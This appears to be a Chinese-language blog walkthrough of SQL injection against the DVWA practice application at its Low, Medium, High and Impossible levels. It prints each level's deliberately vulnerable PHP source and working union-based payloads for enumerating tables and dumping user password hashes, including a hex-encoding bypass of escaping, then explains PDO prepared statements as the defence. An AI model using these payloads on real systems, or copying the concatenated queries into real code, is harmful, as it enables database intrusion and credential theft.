SQL Injection(SQL注入)
原理: 将恶意的sql语句拼接到合法的sql语句中。
类型: 字符型,数字型,搜索型。
注入流程:
- 判断是否存在注入,注入是字符型还是数字型。
- 猜解sql查询语句中的字段数
- 确定显示位置
- 获取当前的数据库
- 获取数据库中的表
- 获取表中的字段名
- 下载数据
实验前须知:
- sql5.0以上版本与5.0以下的版本有个最根本的区别,多了一个information_schema库,其中的tables表中存放数据库中所有的库名和表名。
- 数据库默认可以识别十六进制,可以以此来绕过.
环境: dvwa搭建在win7 x64系统,IP为:192.168.157.137.
界面:
通过键入的id值,来确定身份,并回显。且级别不同,提交方式不同。
Low
Low级别源码
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
分析:
键入id值,点击提交之后,不进行过滤,直接插入到数据库查询语句中。
解决思路:
走一遍sql注入的流程。
进行攻击
- 输入
1'
并提交
报错:
确定此处为注入点
-
输入
1' and '1' = '1
,正常返回,1' and '1' ='2
,无返回结果
再次确定了此处为注入点,且注入类型为 字符型 -
使用
order by
语句确定字段数,#为sql语法中的注释
1' order by 3#
语句报错。
得到字段值为2 -
确定显示的位置
1' union select 1,2#
1位置出现在firstname那一行,2位置出现在Surname那一行 -
得到数据库的版本以及使用的库名称。
1' union select version(),database()#
若只想看到需要的结果,可以把1
改为-1
-1' union select version(),database()#
得到数据库版本为5.5.53,且库名为dvwa。
- 由版本号可以知道,数据库存在information_schema库,可以通过其中的tables表查看当前库下的所有表名。
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #
得到dvwa库下存在guestbook、users两张表,选择看起来比较敏感的users表来获取数据。 - 获取目标表中的字段名
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
得到users表中的字段名,并且存在user和password这样的敏感信息,获得其中的数据。
- 得到其中的数据。
-1' union select user,password from users#
取得其中md5加密后的密码,查字典得到明文密码。
Medium
界面改为这种下拉菜单式,不允许用户自行输入
Medium级别源码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . mysqli_connect_error() . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
分析:
- 界面改为这种下拉菜单式,不允许用户自行输入
- 使用mysqli_real_escape_string 函数对单双引号等特殊符号进行过滤.
- 由字符型变为数字型
解决思路:
- 虽然只能在网页中的下拉菜单中选择,但是我们可以在burp中拦截包,修改上传的参数,实际效果与手动输入没有区别。
- 虽说过滤掉单双引号等特殊字符,但注入类型现在为数字型,不需要单引号来闭合,字符串可以编译为十六进制编码,数据库默认可以识别。
进行攻击
-
burp拦截包,并将其发送至Repeater模块
-
修改参数为
1 and 1=1
1 and 1=2
确定了此处为注入点,并且类型为数字型。 -
使用
order by
语句确定字段数
1 order by 3
语句报错。
得到字段值为2 -
确定显示的位置
-1 union select 1,2
-
得到数据库的版本以及使用的库名称。
-1 union select version(),database()#
得到数据库版本为5.5.53,且库名为dvwa。 -
由版本号可以知道,数据库存在information_schema库,可以通过其中的tables表查看当前库下的所有表名。
这里需要注意,因为过滤了表示字符串的单双引号,所以类似LOW级别的’dvwa’,无法通过
所以我们将其编译为16进制,或者是使用database()来代替这里的’dvwa’
16进制:
database():
-
获取目标表中的字段名
与dvwa相仿,将users转换为十六进制
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273
得到users表中的字段名。
- 得到其中的数据。
-1 union select user,password from users
High
High级别源码
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
分析:
看起来简单了很多,甚至没有特殊字符过滤,添加了对输入个数的限制,只允许输入一个,又回到了字符型注入。界面变成了这样:
解决思路:
这样子点击打开新的界面来输入ID,是为了防止工具的自动化注入(sqlmap等),但是对手动注入影响不大。LIMIT 1,一个小小的#不就可以干掉?。
攻击结果
切记切记: 在High等级下,若出现错误显示,一定不能关那个小窗口,否则之后都会是这个界面,只能重装DVWA。
Impossible
Impossible级别源码
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
分析:
加了PDO的代码往往就是这么的朴实无华且枯燥无味。
解决思路:
如果有人解决了PDO,请告诉我一声,我愿称其为王!
PDO预处理
普通的sql查询就是一条查询语句,将用户输入的与正常的参数拼接在一起,交给数据库进行查询,就像这篇博客低中高等级dvwa服务器的做法。
但是PDO是将用户输入的与sql语句相分离,语法为:
$pdo->prepare('select * from users where id=:id');
$pdo->execute([':id'=>4]);
服务器会先给数据库发送第一条语句,让数据库进行解析,在将用户输入的当做纯参数传给数据库,就算是恶意的,也不会运行。
我的一些理解:
没有PDO:
我在一栋大楼的一个房子里面,房东告诉我只能呆在这个房子里面,但是在他不注意的时候,我就悄悄溜出去,随意去别的房间转。
有PDO:
我在一个房子里,且这个房子独立于世界。